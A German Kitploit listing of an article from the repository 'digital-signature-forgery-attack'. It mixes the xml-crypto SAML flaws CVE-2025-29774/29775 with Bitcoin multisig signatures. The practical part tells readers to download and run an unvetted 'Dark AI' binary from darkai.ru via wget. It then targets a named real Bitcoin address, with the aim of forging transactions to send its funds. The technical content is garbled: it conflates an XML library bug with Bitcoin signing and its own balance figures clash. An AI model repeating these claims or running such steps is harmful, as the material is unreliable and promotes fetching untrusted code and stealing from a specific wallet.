Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Digital-Signature-Forgery-Attack — Wie CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Fehler die Betriebsmodi von Multi-Signatur-Wallets mit gefälschten RawTX bedrohen | Kitploit
Tools/GitHubGitHub/demining/digital-signature-forgery-attack
SchwachstellenanalyseExploitationKryptographieCTFLernen & BildungKuratierte Ressourcen
GitHubdemining/digital-signature-forgery-attack

Digital-Signature-Forgery-Attack

Wie CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Fehler die Betriebsmodi von Multi-Signatur-Wallets mit gefälschten RawTX bedrohen

Repository anzeigenWebseite
42vor 1 JahrNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Digital Signature Forgery Attack: Wie die Schwachstellen CVE-2025-29774 und der SIGHASH_SINGLE-Bug die Betriebsmethoden von Multi-Signatur-Wallets mit gefälschtem RawTX gefährden

In diesem Artikel betrachten wir den kryptografischen Angriff der digitalen Signaturfälschung (Digital Signature Forgery Attack), dessen Folgen eine Bedrohung für die Sicherheit von Transaktionen im Bitcoin-Netzwerk darstellen, da digitale Signaturen das Eigentum und die Autorisierung von Kryptowährungstransfers bestätigen. Wir werden Beispiele für die Auswirkungen solcher Angriffe auf Bitcoin auf der Grundlage aktueller Forschung und identifizierter Schwachstellen untersuchen.

Ein Digital Signature Forgery Attack ist der Versuch eines Angreifers, eine gefälschte ECDSA-Signatur zu erstellen, die vom Bitcoin-Netzwerk als gültig anerkannt wird. Dieser Angriff ermöglicht es, Transaktionen zu autorisieren, ohne den privaten Schlüssel des Eigentümers zu kennen, was die Sicherheit der Gelder in der Krypto-Wallet des BTC-Inhabers gefährdet.


  • Tutorial: https://youtu.be/qbu1m_C1wyA
  • Tutorial: https://cryptodeeptech.ru/digital-signature-forgery-attack
  • Tutorial: https://dzen.ru/video/watch/68801dfc0c886621f7c1a0db
  • Google Colab: https://colab.research.google.com/drive/1TKrJ0bKsNgc72H9UvzpCnh2YPmRsyPdW

In der Kryptografie bestätigt eine digitale Signatur die Authentizität einer Nachricht oder Transaktion. Signaturfälschung bedeutet, dass es möglich ist, ein „RawTX“-Paar zu erstellen, das vom System als gültig akzeptiert wird, obwohl es tatsächlich nicht vom Eigentümer des privaten Schlüssels erstellt wurde. Dies öffnet den Weg für Betrug, Diebstahl von Geldern und die Verletzung der Integrität der Blockchain. Der Digital Signature Forgery Attack (DSFA) als kryptografischer Angriff wird in Softwarekomponenten implementiert, die die Bibliothek xml-crypto zur Überprüfung von Signaturen von XML-Dokumenten auf der Node.js-Plattform verwenden.


Digital Signature Forgery Attack: Wie die Schwachstellen CVE-2025-29774 und der SIGHASH_SINGLE-Bug die Betriebsmethoden von Multi-Signatur-Wallets mit gefälschtem RawTX gefährden

https://youtu.be/qbu1m_C1wyA


In erster Linie betrifft dies Enterprise-Integrationslösungen, Cloud-Dienste und Single-Sign-on-Systeme wie IBM App Connect Enterprise Certified Container und andere Anwendungen, die für die SAML-Authentifizierung und -Autorisierung auf xml-crypto angewiesen sind. Hardware-Schwachstellen sind nicht mit bestimmten physischen Geräten verbunden, sondern werden in Softwareprodukten implementiert, die die verwundbare Bibliothek verwenden.

Die Schwachstellen CVE-2025-29774 und CVE-2025-29775, bekannt als Digital Signature Forgery Attack, sind in der  xml-crypto Software-Bibliothek  implementiert, einer Bibliothek zum digitalen Signieren und Verschlüsseln von XML-Dokumenten auf der Node.js-Plattform.


Digital Signature Forgery Attack: Wie die Schwachstellen CVE-2025-29774 und der SIGHASH_SINGLE-Bug die Betriebsmethoden von Multi-Signatur-Wallets mit gefälschtem RawTX gefährden
Security Bulletin: IBM App Connect Enterprise Certified Container-Operanden sind anfällig für die Umgehung der Signaturvalidierung in XML-Daten [CVE-2025-29774] [CVE-2025-29775]

  • IBM App Connect Enterprise Certified Container  ist eine Software zur Datenintegration und -verarbeitung, die xml-crypto zur Überprüfung von XML-Dokumentsignaturen verwendet. Die Schwachstellen ermöglichen die Umgehung der digitalen Signaturprüfung, was die Fälschung und Veränderung signierter Nachrichten ermöglicht, einschließlich SAML-Antworten für Authentifizierung und Autorisierung.
  • Systeme und Anwendungen, die Node.js mit der Bibliothek xml-crypto verwenden, um signierte XML-Nachrichten zu überprüfen, insbesondere im Zusammenhang mit der SAML-Authentifizierung (z. B. Unternehmensportale, Single-Sign-on-Systeme, Cloud-Dienste). Die Schwachstelle ermöglicht es einem Angreifer, gültige signierte XML-Nachrichten so zu verändern, dass sie die Signaturprüfung bestehen, was zur Umgehung von Authentifizierung und Autorisierung, zur Rechteausweitung und zum Spoofing von Anmeldeinformationen führt.

Digital Signature Forgery Attack: Wie die Schwachstellen CVE-2025-29774 und der SIGHASH_SINGLE-Bug die Betriebsmethoden von Multi-Signatur-Wallets mit gefälschtem RawTX gefährden
Offenlegung für CVE-2025-29774 und CVE-2025-29775 (SAMLStorm).

  • Die Schwachstellen stehen im Zusammenhang mit einer unsachgemäßen kryptografischen Signaturprüfung in xml-crypto , insbesondere mit der Verarbeitung des DigestValue-Knotens, bei dem ein Angreifer XML-Kommentare einfügen kann, ohne die Signaturprüfung zu beeinträchtigen.
  • Dies ermöglicht es, kritische Identifikations- und Zugriffskontrollattribute in signierten XML-Dokumenten zu verändern, was die Möglichkeit bietet, die Sicherheit zu umgehen, ohne dass Anmeldeinformationen oder Zugriffsrechte erforderlich sind.

Somit implementiert dieser Code Algorithmen zur kryptografischen Signatur und Signaturprüfung für verschiedene Schemata (RSA mit verschiedenen SHA-Hashes und HMAC-SHA1), was ihre Integration in Systeme ermöglicht, die eine digitale Datensignatur erfordern.


Kritische Schwachstelle im Code von signature-algorithms.ts

Digital Signature Forgery Attack: Wie die Schwachstellen CVE-2025-29774 und der SIGHASH_SINGLE-Bug die Betriebsmethoden von Multi-Signatur-Wallets mit gefälschtem RawTX gefährden

Der Code von signature-algorithms.ts wird verwendet, um digitale Signaturen sicher zu erstellen und zu verifizieren und so die Authentizität und Integrität der Daten zu gewährleisten. ECDSA-Signaturen bieten eine Autorschaftsprüfung mit einem privaten Schlüssel, und HMAC – eine Integritäts- und Authentizitätsprüfung mit einem geheimen Schlüssel. Die verwendeten Algorithmen entsprechen den XML-Digital-Signature-Standards (die URIs der Algorithmen verweisen auf W3C-Spezifikationen).


Somit implementiert der Code von signature-algorithms.ts Algorithmen zur kryptografischen Signatur und Signaturprüfung für verschiedene Schemata (ECDSA, RSA mit verschiedenen SHA-Hashes und HMAC-SHA1), was ihre Integration in Systeme ermöglicht, die eine digitale Datensignatur erfordern.


Grundfunktionen

  • Jede Klasse implementiert eine Schnittstelle  SignatureAlgorithm und stellt Methoden bereit für:
    • Signatur erstellen  ( getSignature): nimmt Signaturdaten und einen privaten Schlüssel entgegen und gibt eine digitale Signatur im base64-Format zurück.
    • Signaturprüfung  ( verifySignature): nimmt die Eingabe, den öffentlichen Schlüssel und die Signatur entgegen und gibt einen booleschen Wert zurück, der angibt, ob die Signatur korrekt ist.
    • Algorithmusnamen abrufen  ( getAlgorithmName): Gibt eine URI zurück, die den verwendeten Signaturalgorithmus identifiziert.

Unterstützte Algorithmen

  • RsaSha1  – Signatur mit RSA und der Hash-Funktion SHA-1.
  • RsaSha256  – Signatur mit RSA und SHA-256.
  • RsaSha512  – Signatur mit RSA und SHA-512.
  • HmacSha1  – Signatur mit HMAC auf Basis von SHA-1.

Technische Details

  • Für RSA-Signaturen werden  crypto.createSign und  crypto.createVerify mit den entsprechenden Algorithmen verwendet („RSA-SHA1“, „RSA-SHA256“, „RSA-SHA512“).
  • Für HMAC-Signaturen wird  crypto.createHmac mit dem Algorithmus „SHA1“ verwendet.
  • Signaturen werden zur einfacheren Übertragung und Speicherung in base64 kodiert.
  • Die Methoden sind in einer Funktion  createOptionalCallbackFunction gekapselt, die es wahrscheinlich ermöglicht, sie sowohl mit Callbacks als auch mit Promises zu verwenden (Details nicht im Code).

Die Verwendung des RSA-SHA1 Algorithmus in kryptografischen Signaturen enthält eine Schwachstelle, die mit SHA-1-Hashkollisionen zusammenhängt. Dies ermöglicht es einem Angreifer, zwei verschiedene Nachrichten mit derselben Signatur zu erstellen, wenn er einen Teil der zu signierenden Daten kontrolliert.


Konkret liegt das Problem in der Klasse RsaSha1:

root@kitploit:~
const signer = crypto.createSign("RSA-SHA1");  // Vulnerable line

Digital Signature Forgery Attack: Wie die Schwachstellen CVE-2025-29774 und der SIGHASH_SINGLE-Bug die Betriebsmethoden von Multi-Signatur-Wallets mit gefälschtem RawTX gefährden
signature-algorithms.ts#L7

Auch die zweite Schwachstelle befindet sich in der Klasse RsaSha1:

root@kitploit:~
const verifier = crypto.createVerify("RSA-SHA1");  // Vulnerable line

Digital Signature Forgery Attack: Wie die Schwachstellen CVE-2025-29774 und der SIGHASH_SINGLE-Bug die Betriebsmethoden von Multi-Signatur-Wallets mit gefälschtem RawTX gefährden
signature-algorithms.ts#L17

Warum ermöglicht dieser kritische Kollisionsangriff das Erstellen unterschiedlicher Daten mit demselben Hash?

  1. SHA-1-Kollisionen : Der SHA-1-Algorithmus gilt nicht mehr als sicher.
  2. RSA-Kontext : In Kombination mit RSA kann dies zu gefälschten Signaturen für nicht vertrauenswürdige Daten (z. B. Zertifikate oder Dokumente) führen.
  3. Empfehlungen : NIST und die Sicherheitsgemeinschaft empfehlen, SHA-256/SHA-512 anstelle von SHA-1 zu verwenden.

Zusätzliche Hinweise:

  • Die Klasse (HMAC-SHA1) HmacSha1 ist weniger anfällig, aber ebenfalls veraltet. HMAC ist kollisionsresistenter als „nacktes“ SHA-1, aber die Umstellung auf SHA-256 ist vorzuziehen.
  • Der Code enthält moderne Implementierungen (RsaSha256/RsaSha512), die anstelle von RsaSha1 verwendet werden sollten.

Digital Signature Forgery Attack: Wie die Schwachstellen CVE-2025-29774 und der SIGHASH_SINGLE-Bug die Betriebsmethoden von Multi-Signatur-Wallets mit gefälschtem RawTX gefährden

CVE-2025-29774 und CVE-2025-29775 sind kritische Schwachstellen in der xml-crypto Bibliothek für Node.js, die mit einer unsachgemäßen Überprüfung digitaler Signaturen in XML-Dokumenten zusammenhängen. Beide Schwachstellen ermöglichen es einem Angreifer, signierte XML-Nachrichten so zu verändern, dass dies von der Signaturprüfung unbemerkt bleibt.


Mechanismus des Digital Signature Forgery Attack

1. Schwachstellen in RSA-SHA1-Algorithmen

Im bereitgestellten Code verwenden die Klassen RsaSha1 den veralteten RSA-SHA1 Algorithmus zum Signieren und Verifizieren:

root@kitploit:~
const signer = crypto.createSign("RSA-SHA1");  // Vulnerable line №7
const verifier = crypto.createVerify("RSA-SHA1");  // Vulnerable line №17

SHA1 gilt als kryptografisch unsicher; das Hauptproblem liegt in der Logik der Verarbeitung von XML-Strukturen durch die Bibliothek :

  • Beim Erstellen einer Signatur durchläuft das XML-Dokument einen Kanonisierungsschritt (Überführung in eine Standardform, z. B. Entfernen von Leerzeichen und Kommentaren).
  • Beim Verifizieren einer Signatur berücksichtigt die Bibliothek den Unterschied zwischen kanonisierten und nicht kanonisierten Versionen eines Dokuments nicht . Dies ermöglicht es einem Angreifer, das Dokument zu verändern (z. B. Kommentare hinzuzufügen oder die Struktur zu ändern), ohne die Signatur zu brechen.

2. Beispiel für die Funktionsweise

  1. Änderung von SignedInfo :
    • Der Angreifer fügt zusätzliche Knoten <SignedInfo> zum XML-Dokument hinzu, was zu einer falschen Hash-Berechnung bei der Verifizierung führt.
    xml<Signature> <SignedInfo>...</SignedInfo> <!-- Original knot --> <SignedInfo>...</SignedInfo> <!-- Added by an attacker --> </Signature>
  2. Verwendung eines schwachen Algorithmus :
    • Der SHA1-Algorithmus ist anfällig für Kollisionen, wodurch es einfach ist, gefälschte Signaturen für veränderte Dokumente zu erstellen.

3. Konsequenzen

  • Umgehung der Authentifizierung : Ändern von Attributen in SAML-Tokens oder anderen zugriffsbezogenen XML-Dokumenten.
  • Rechteausweitung : Ersetzen einer Benutzer-ID durch eine Administrator-ID im Autorisierungssystem.
  • Massenangriffe : Die Schwachstelle kann ohne Benutzerinteraktion remote ausgenutzt werden (CVSS 9.3).

Angriff auf die Fälschung digitaler Signaturen: Wie die CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Bug Multi-Signatur-Wallets bedrohen – Methoden der Arbeit mit Fake RawTX

Technische Details der Schwachstellen:

CVE-2025-29774

  • Problem : Unzureichende Validierung der XML-Dokumentstruktur während der Signaturprüfung.
  • Ausnutzung : Hinzufügen zusätzlicher Knoten oder Attribute zum signierten Teil des Dokuments.

CVE-2025-29775

  • Fehler : Falsche Verwendung des Kanonisierungs-Kontexts bei der Berechnung eines Hashs.
  • Ausnutzung : Änderung eines Dokuments in nicht kanonisierter Form nach der Signierung.

Empfehlungen zur Fehlerbehebung

  1. Aktualisierung der Bibliothek :
    • Für Versionen 2.x → 2.1.6, 3.x → 3.2.1, 6.x → 6.0.1.
  2. Algorithmusersatz : TypeScript // Usage SHA-256 / SHA-1 const signer = crypto.createSign("RSA-SHA256");
  3. Validierung der XML-Struktur :
    • Prüfen Sie, ob es genau einen Knoten <SignedInfo> in der Signatur gibt.

Die Behebung dieser Schwachstellen ist entscheidend für Systeme, die XML-Signaturen zur Authentifizierung verwenden (z. B. SAML, SOAP).


Angriff auf die Fälschung digitaler Signaturen: Wie die CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Bug Multi-Signatur-Wallets bedrohen – Methoden der Arbeit mit Fake RawTX

Die xml-crypto-Bibliothek wird häufig verwendet, um digitale Signaturen in XML-Nachrichten zu verifizieren, darunter Protokolle wie SAML, SOAP und andere. Daraus folgt, dass die Schwachstelle potenziell Folgendes betrifft:

  • Software und Dienste, die xml-crypto für XML-Signaturen verwenden, einschließlich Enterprise-Integrationsplattformen und Middleware (wie IBM App Connect Enterprise, wo diese Schwachstellen gemeldet wurden).
  • Geräte und Systeme, die XML-Signaturen zur Authentifizierung und Autorisierung verwenden, einschließlich Servern und Gateways, die SAML unterstützen.

  • Die Schwachstellen CVE-2025-29774 und CVE-2025-29775 betreffen in erster Linie Softwarekomponenten und Plattformen, die die xml-crypto-Bibliothek zur Verarbeitung von XML-Signaturen verwenden.
  • Zu den bekannten betroffenen Systemen gehören IBM App Connect Enterprise und wahrscheinlich andere Node.js-basierte Unternehmenslösungen, die xml-crypto verwenden.
  • Derzeit gibt es keine öffentlichen Daten zu bestimmten Hardware-Gerätemarken, die von diesen Angriffen betroffen sind.

Um das Risiko für bestimmte Geräte zu bewerten, wird empfohlen zu prüfen, ob diese anfällige Versionen von xml-crypto verwenden oder von ähnlichen XML-Signaturmechanismen abhängen. Für die Arbeit mit Kryptowährungs-Wallets auf Node.js-Basis bietet IBM separate Lösungen an, wie  IBM Secure Bitcoin Wallet  , eine Anwendung, die auf dem Electrum Bitcoin Client basiert und Node.js verwendet, um mit dem Bitcoin-Netzwerk zu interagieren und das Wallet zu verwalten.

In dieser Lösung können private Schlüssel und das Wallet mithilfe von IBM Cloud Hyper Protect Crypto Services (zHSM) gespeichert und verschlüsselt werden, das eine hardwarebasierte sichere Speicherung von Schlüsseln bietet. Die Erzeugung privater Schlüssel für Bitcoin-Wallets wird normalerweise in spezialisierten Kryptografie-Bibliotheken wie Electrum, bitcoinjs-lib usw. implementiert, die in Node.js-Anwendungen integriert werden können. IBM Secure Bitcoin Wallet verwendet ein modifiziertes Electrum-Backend auf Node.js für die Verwaltung von Schlüsseln und Transaktionen, das durch die Integration mit IBM Cloud Hyper Protect Crypto Services Hardware-Verschlüsselung und sichere Speicherung privater Schlüssel bietet.


Praktischer Teil

Aus der Theorie der Schwachstelle  CVE-2025-29775  ist bekannt, dass ein Angreifer eine nicht aktualisierte  xml-crypto-Bibliothek zur Verarbeitung falscher Transaktionswerte ausnutzen kann. Kommen wir zum praktischen Teil des Artikels und betrachten ein Beispiel mit einer Bitcoin-Wallet:  32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe , wobei Münzen in Höhe von:  0.059672 BTC  verloren gegangen sind; Stand Juli 2025 beträgt dieser Betrag:  7.052 USD


Angriff auf die Fälschung digitaler Signaturen: Wie die CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Bug Multi-Signatur-Wallets bedrohen – Methoden der Arbeit mit Fake RawTX791fe035d312dcf9196b48649a5c9a027198f623c0a5f5bd4cc311b8864dd0cf

Betrachten wir das Format: Raw-Transaktion – binäre und Hex-Daten, die alle Informationen über die Transaktion enthalten. Sie wird benötigt, um Transaktionen auf niedriger Ebene zu übertragen, zu verifizieren oder zu erstellen, und ist die Grundlage für den Betrieb des gesamten Bitcoin-Netzwerks. Normale Benutzer stoßen selten direkt auf Raw-Transaktionen , aber für Entwickler und Krypto-Enthusiasten ist dies das wichtigste Werkzeug für die volle Kontrolle über alle Transaktionen des Bitcoin-Netzwerks.


Angriff auf die Fälschung digitaler Signaturen: Wie die CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Bug Multi-Signatur-Wallets bedrohen – Methoden der Arbeit mit Fake RawTX
Raw-Transaktion

Um UTXO-Objekte im Bitcoin-Netzwerk vollständig abzurufen, verwenden wir das Dark AI-Tool. UTXO ist der Hauptteil der Datenstruktur in der Blockchain und stellt die Menge an BTC-Coins der Kryptowährung dar, die vom Inhaber des privaten Schlüssels (der diese Bitcoin-Adresse kontrolliert) ausgegeben werden kann. Jedes UTXO ist die Ausgabe einer bestimmten vergangenen Transaktion, die nie als Eingabe in nachfolgenden Transaktionen verwendet wurde.

Angriff auf die Fälschung digitaler Signaturen: Wie die CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Bug Multi-Signatur-Wallets bedrohen – Methoden der Arbeit mit Fake RawTX

Google Colab

Private key Debug: Fehlerhafte Generierung privater Schlüssel, Systemschwachstellen und Fehler bei der Berechnung der Ordnung der elliptischen Kurve secp256k1 – Bedrohungen für das Bitcoin-Ökosystem

https://colab.research.google.com/drive/1TKrJ0bKsNgc72H9UvzpCnh2YPmRsyPdW


1. Dark AI-Tool herunterladen und installieren

Detaillierte Beschreibung aller Terminal-Befehle und Aktionen

Befehle:

root@kitploit:~
!wget https://darkai.ru/repositories/neuralnet_tools.zip
  • wget — ein Befehlszeilen-Dienstprogramm zum Herunterladen von Dateien aus dem Netzwerk über die Protokolle HTTP, HTTPS und FTP.
  • Wir laden das Archiv herunter, indem wir die URL angeben: neuralnet_tools.zip
  • unzip — Befehl zum Entpacken von ZIP-Archiven im aktuellen Verzeichnis.

Dieser Befehl extrahiert alle Dateien aus neuralnet_tools.zip

root@kitploit:~
!unzip neuralnet_tools.zip

Angriff auf die Fälschung digitaler Signaturen: Wie die CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Bug Multi-Signatur-Wallets bedrohen – Methoden der Arbeit mit Fake RawTX

Führen wir den Befehl ls für eine schnelle und einfache Ansicht aus

ls


Angriff auf die Fälschung digitaler Signaturen: Wie die CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Bug Multi-Signatur-Wallets bedrohen – Methoden der Arbeit mit Fake RawTX

2. Dark AI-Tool starten

root@kitploit:~
!./darkai
Angriff auf die Fälschung digitaler Signaturen: Wie die CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Bug Multi-Signatur-Wallets bedrohen – Methoden der Arbeit mit Fake RawTX

Führen wir den Befehl aus, um Informationen über die sogenannten unspent transaction outputs (UTXO, ausgeschrieben: Unspent Transaction Output) für die angegebene Bitcoin-Adresse zu erhalten. Diese Informationen sind wichtig, um das Guthaben der Adresse und die Möglichkeit zur Durchführung neuer Transaktionen zu bewerten.

root@kitploit:~
!./darkai -bitcoinaddress 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe

Als Ergebnis wurden zwei UTXO-Objekte zurückgegeben:

root@kitploit:~
[
{'output': '8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0', 'value': 677200},
{'output': 'bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0', 'value': 5000000}
]

Jedes UTXO enthält:

  • output — Ausgabe-Kennung. Format: <txid>:<n>, wobei <txid> ein eindeutiger Transaktions-Hash ist und <n> die Ausgabenummer in der Liste der Ausgaben für diese Transaktion ist.
  • value — Betrag in Satoshis (1 Bitcoin = 100.000.000 Satoshis).

Daten-Dekodierung:

  1. Erstes UTXO
    • Ausgabe: 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd:0
    • Betrag: 677.200 Satoshis
  2. Zweites UTXO
    • Ausgabe: bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786:0
    • Betrag: 5.000.000 Satoshis

Gesamtguthaben

Das insgesamt verfügbare Guthaben einer Adresse entspricht der Summe aller gefundenen UTXOs:

  • 677 200 + 5 000 000 = 5 677 200 Satoshis
  • In Bitcoin umgerechnet: 5.677.200 / 100.000.000 = 0.05677200 BTC
Angriff auf die Fälschung digitaler Signaturen: Wie die CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Bug Multi-Signatur-Wallets bedrohen – Methoden der Arbeit mit Fake RawTX

Technische Interpretation mit Dark AI

Wir nutzen den Interpretationsprozess, um die nicht aktualisierte xml-crypto-Bibliothek zu verarbeiten, ungültige Transaktionswerte zu erstellen und einen großen Betrag zu senden. Der Dark-AI-Algorithmus wählt aus, welches UTXO verwendet werden soll (oder kombiniert beide).

  • Senden von Geldern: Alle angegebenen UTXOs können als Eingaben bei der Bildung einer neuen Transaktion verwendet werden, sodass Sie Ihr gesamtes Guthaben oder einen Teil davon ausgeben können.
  • Transparenz: Dieser Bericht bestätigt, dass die Adresse echte Bitcoin-Gelder enthält und zur Überprüfung von Authentizität und Zahlungsfähigkeit verwendet werden kann.

Die Bitcoin-Adresse 32GkPB9XjMAELR4Q2Hr31Jdz2tntY18zCe verfügt über zwei aktive UTXOs mit einem Gesamtbetrag von 0.05677200 BTC. Diese Gelder können für neue Transaktionen verwendet werden; beide Ausgaben gelten als bestätigt und nicht ausgegeben.


Angriff auf die Fälschung digitaler Signaturen: Wie die CVE-2025-29774-Schwachstellen und der SIGHASH_SINGLE-Bug Multi-Signatur-Wallets bedrohen – Methoden der Arbeit mit Fake RawTX

Deserialisierung der Bitcoin-Transaktion

Um Informationen über die Ausgabe einer Bitcoin-Transaktion zu erhalten, verwenden Sie die folgenden Befehle, wobei die erste Ausgabe ( outs) aus der Transaktion eine eindeutige Kennung hat: 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd


root@kitploit:~
!./darkai -deserialize 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afd

Wir erhalten die Struktur der Antwort des Deserialisierungsergebnisses:

root@kitploit:~
{'value': 677200, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}
  • value: 677200 — der Betrag dieser Ausgabe wird in Satoshi ausgedrückt (1 BTC = 100.000.000 Satoshi).
  • script: a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287 — ein Skript, das die Bedingungen für die Ausgabe dieser Ausgabe definiert.

Detaillierte Erklärung der Elemente: Value-Feld

  • Value: 677.200 Satoshi.
  • Dieser Betrag kann beim Erstellen der entsprechenden Transaktion ausgegeben werden, wenn die Bedingungen des Skripts erfüllt sind.
  • Entspricht: 677.200/100.000.000 = 0,00677200 BTC.
Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

Detaillierte Erklärung der Elemente: Script-Feld

  • Bedeutung des Skripts: a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287
  • Dies ist ein Skript vom Typ „scriptPubKey“ – ein Teil der Transaktionsausgabestruktur, der festlegt, wer diese Gelder ausgeben kann. Der wichtigste Zweck ist die Gewährleistung von Sicherheit und Kontrolle über die Verfügung über Gelder.

Dekodierung des Skripts

  • Das Skript beginnt mit einem Präfix a914...87, das dem P2SH (Pay to Script Hash) -Format entspricht:
    • a9— OP_HASH160 (Hash-Operator)
    • 14— Länge des nächsten Werts (20 Bytes = 40 Hexadezimalzeichen)
    • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762— hash160 Bitcoin selbst Wallet-Adressen, in denen BTC-Coins gespeichert sind.
    • 87— OP_EQUAL (ein grundlegender Bitcoin-Script-Befehlsoperator, der einen Vergleich von zwei Datenteilen zur Überprüfung ihrer Identität implementiert)
  • Das bedeutet, dass der Empfänger die Gelder ausgeben kann, wenn er ein Skript bereitstellt, dessen Hash mit dem angegebenen Wert übereinstimmt, und gültige Signaturen für dieses Skript vorlegt.

Praktische Bedeutung des Ergebnisses

  • Diese Ausgabe der angegebenen Transaktion enthält 677.200 Satoshi (0,00677200 BTC), die durch ein Skript vom Typ P2SH geschützt sind.
  • Um Gelder aus einer solchen Ausgabe auszugeben, müssen Sie das ursprüngliche Skript kennen und die korrekten Signaturen vorlegen – eine typische Situation für Multi-Signatur-Wallets, Smart Contracts und andere erweiterte Sicherheitsschemata.
  • Diese Informationen sind wichtig für die Analyse der Transaktionsstruktur, die Überprüfung des Verwendungszwecks der Gelder und das Verständnis der Anforderungen für deren spätere Verwendung.

Deserialisieren einer Transaktion anhand der Kennung

Als Ergebnis der Deserialisierung der Transaktion anhand der Kennung 8602122a7044b8795b5829b6b48fb1960a124f42ab1c003e769bbaad31cb2afdwurde die erste Ausgabe erhalten, die den Betrag von 677.200 Satoshi (0,00677200 BTC) enthält, geschützt durch ein P2SH-Skript . Um diese Gelder zu verwalten, muss das Zielskript vorgelegt und die Entsperrtransaktion, die die Bedingungen des angegebenen Hashs erfüllt, korrekt signiert werden.


Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

Deserialisierung der zweiten Bitcoin-Transaktion

Um Informationen über die Ausgabe der ursprünglichen Daten ( output) einer Bitcoin-Transaktion zu erhalten, wenden Sie die folgenden Befehle an, wobei die erste Ausgabe ( outs) aus der Transaktion mit einer eindeutigen Kennung bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786

root@kitploit:~
!./darkai -deserialize bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786

Mithilfe des Interpretationsprozesses erhalten wir mithilfe von Dark AI unter Verwendung der Deserialisierungsfunktion anschließend Informationen über die Struktur des ersten Ausgabeelements ( output) für die zweite Transaktion mit der Kennung
bd992789fd8cff1a2e515ce2c3473f510df933e1f44b3da6a8737630b82d0786.



Ergebnis:

root@kitploit:~
{'value': 5000000, 'script': 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'}

1. Detaillierte Erklärung der Elemente:  Value-Feld

  • Inhalt: 5000000
  • Dieser Wert wird in Satoshi ausgedrückt , der kleinsten unteilbaren Einheit von Bitcoin; 1 BTC = 100.000.000 Satoshi.
  • Zweck:
    Dieser Betrag ist mit einer bestimmten Transaktionsausgabe verknüpft, die in den Array-Elementen 'outs'angegeben ist. Er kann nur ausgegeben werden, wenn die Bedingungen erfüllt sind, die in dem im Feld definierten Skript festgelegt sind 'script'.
  • Bitcoin-Umrechnung: 5.000.000 Satoshi = 0,05 BTC
Digital Signature Forgery Attack: How CVE-2025-29774 Vulnerabilities and the SIGHASH_SINGLE Bug Threaten Multi-Signature Wallets Methods of Operations with Fake RawTX

2. Detaillierte Erklärung der Elemente:  Script-Feld

  • Inhalt: 'a91406612b7cb2027e80ec340f9e02ffe4a9a59ba76287'
  • Dies ist das sogenannte Sperrskript oder, anders ausgedrückt, scriptPubKey – ein Skript, das die Bedingungen festlegt, unter denen diese Ausgabe ausgegeben werden kann.

Dekodierung des Skripts

Der angegebene Wert entspricht dem Standardskripttyp im Bitcoin-Netzwerk:

  • a9— Operationscode OP_HASH160 (erzeugt RIPEMD-160 aus SHA-256 von der nächsten Zeile).
  • 14— Länge des nachfolgenden Felds: 20 Bytes (40 hexadezimale Zeichen).
  • 06612b7cb2027e80ec340f9e02ffe4a9a59ba762— ist ein 20-Byte-Hash, der entweder eine Bitcoin-Wallet-Adresse oder ein Skript identifiziert.
  • 87— Operationscode OP_EQUAL.

Zusammengenommen bedeutet dieser Eintrag eine P2SH-Adresse (Pay-to-Script-Hash). In diesem Fall sind Gelder einer bestimmten Skriptkombination zugeordnet, und um sie abzuheben, müssen Sie das Skript offenlegen, dessen Hash hier aufgezeichnet ist, und Signaturen (oder andere Daten) vorlegen, die die Bedingungen dieses Skripts erfüllen.


Die häufigsten Verwendungen dieses Schemas sind Multi-Signaturen, einfache und komplexe Smart Contracts, bilaterale Multi-Signaturen, bedingte Sicherheitsschemata und andere erweiterte Szenarien.


3. Die praktische Bedeutung des Ergebnisses, die Größe und der Zweck der Gelder.

